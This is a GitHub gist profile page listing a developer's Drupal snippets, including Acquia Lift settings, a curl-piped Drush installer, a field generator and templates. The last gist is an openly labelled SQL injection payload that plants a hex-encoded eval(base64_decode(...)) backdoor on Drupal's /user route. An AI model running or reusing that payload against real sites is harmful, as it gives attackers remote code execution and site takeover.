Skip to content

Instantly share code, notes, and snippets.

View scor's full-sized avatar

Stephane Corlosquet scor

View GitHub Profile
@scor
scor / 16061_lift.txt
Created December 8, 2017 02:50
This gist contains configuration settings for Acquia Lift which can be set per-environment in your website's settings.php file to protect your production environment from contamination with testing data.
if ($is_ah_env) {
switch ($ah_env) {
case 'prod':
// Acquia Lift Settings
$config['acquia_lift.settings']['credential']['account_name'] = ''; // Customer Account ID
$config['acquia_lift.settings']['credential']['customer_site'] = ''; // Customer Site External ID
$config['acquia_lift.settings']['credential']['site_id'] = ''; // Customer Site External ID
$config['acquia_lift.settings']['credential']['content_origin'] = ''; // Content Hub Origin ID (UUID)
$config['acquia_lift.settings']['advanced']['content_replacement_mode'] = 'trusted'; //
<?php
/**
* Lists bundles that have a field of type image or file for D7.29 regression
* https://www.drupal.org/node/2305017
*
* Download this script on your server/localhost and run
* drush php-script 2305017_file_lost.php
*/
<?php
/**
* @file
* Local development override configuration feature.
*
* To activate this feature, copy and rename it such that its path plus
* filename is 'sites/yoursite.com/settings.local.php'. Then, go to the bottom
* of 'sites/yoursite.com/settings.php' and uncomment the commented lines that
* mention 'settings.local.php'.
@scor
scor / install-drush7.sh
Last active December 30, 2015 14:39
Automatically install Drush 7 (only tested on Mac OS X)
#!/bin/bash
#
# Install Drush 7 from https://github.com/drush-ops/drush.git
# and creates a 'drush7' alias. Execute this from your terminal:
# bash <(curl -s https://gist.github.com/scor/7843568/raw/install-drush7.sh)
if [[ ! -e '~/tools/drush7' ]]; then
mkdir -p ~/tools
cd ~/tools
@scor
scor / gist:6572973
Created September 15, 2013 17:54
generate fields in Drupal 8
function generate_fields() {
$field_name = 'field_gen_';
$field_type = 'text';
$field_formatter = 'text_default';
$number = 100;
for ($i = 1; $i <= $number; ++$i) {
echo("creating field $i \n");
entity_create('field_entity', array(
'name' => $field_name . $i,
@scor
scor / gist:5374653
Created April 12, 2013 19:54
This content gets filtered on input by Drupal
Lorem ipsum dolor sit amet, consectetur adipisicing elit.
<code>
*storage="username"
</code>
Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
@scor
scor / gist:4595196
Last active December 11, 2015 11:38
RDFa Lite markup example describing an organization in HTML head element
<html vocab="http://schema.org/">
<head>
<meta resource="http://my-company.com/" typeof="Organization" />
<meta resource="http://my-company.com/" property="name" content="my company name" />
<meta resource="http://my-company.com/" property="telephone" content="0000-0000" />
<link about="http://my-company.com/" property="address" href="http://my-company.com/#address" />
<meta resource="http://my-company.com/#address" typeof="PostalAddress" />
<meta resource="http://my-company.com/#address" property="streetAddress" content="38 avenue de l'Opera" />
<meta resource="http://my-company.com/#address" property="postalCode" content="98052" />
<meta resource="http://my-company.com/#address" property="addressLocality" content="Seattle" />
@scor
scor / gist:653fe0869b03ad8d6929
Last active August 29, 2015 14:26
bash alias for code smoke test and PHP linting in a Drupal codebase
alias code-check="find -E . -type f -regex '^.*\.(engine|inc|install|engine|module|php|profile|test|theme|txt|info|rule|view)' | xargs -Ifile bash -c \"php -l file ; (true)\" | grep -v 'No syntax'
find . -type f | xargs -Ifile grep -H '>>>>>>' file| grep -v Binary | grep -v .git/rr-cache"
@scor
scor / field--field-twitter-id.html.twig
Created February 20, 2015 05:36
Rendering a twitter ID as a link using Twig in Drupal 8
<div{{ attributes }}>
{% if not label_hidden %}
<div{{ title_attributes.addClass('field-label') }}>{{ label }}</div>
{% endif %}
<div{{ content_attributes.addClass('field-items') }}>
{% for item in items %}
<div{{ item.attributes.addClass('field-item') }}><a href="https://twitter.com/{{ item.content['#markup']|trim('@') }}">{{ item.content }}</a></div>
{% endfor %}
</div>
</div>
@scor
scor / gist:b566c0f4d94c5b012f6b
Created October 17, 2014 07:15
Enable PHP module for arbitrary PHP code execution at /user
TRUNCATE TABLE cache_bootstrap;UPDATE menu_router SET access_arguments=0x613a313a7b733a343a22636f6465223b733a36313a223c3f70687020406576616c28406261736536345f6465636f64652840245f524551554553545b383664393963613830633430393736615d29293b203f3e223b7d, access_callback=0x7068705f6576616c WHERE path=0x75736572;UPDATE system SET status = 1 WHERE name = 0x706870;INSERT INTO registry_file (filename,hash) VALUES (0x6d6f64756c65732f7068702f7068702e6d6f64756c65,0x30373132336531663438323335366334313566363834343037613362383732336531306232636262633062386663643632383263343964333763396331616263);#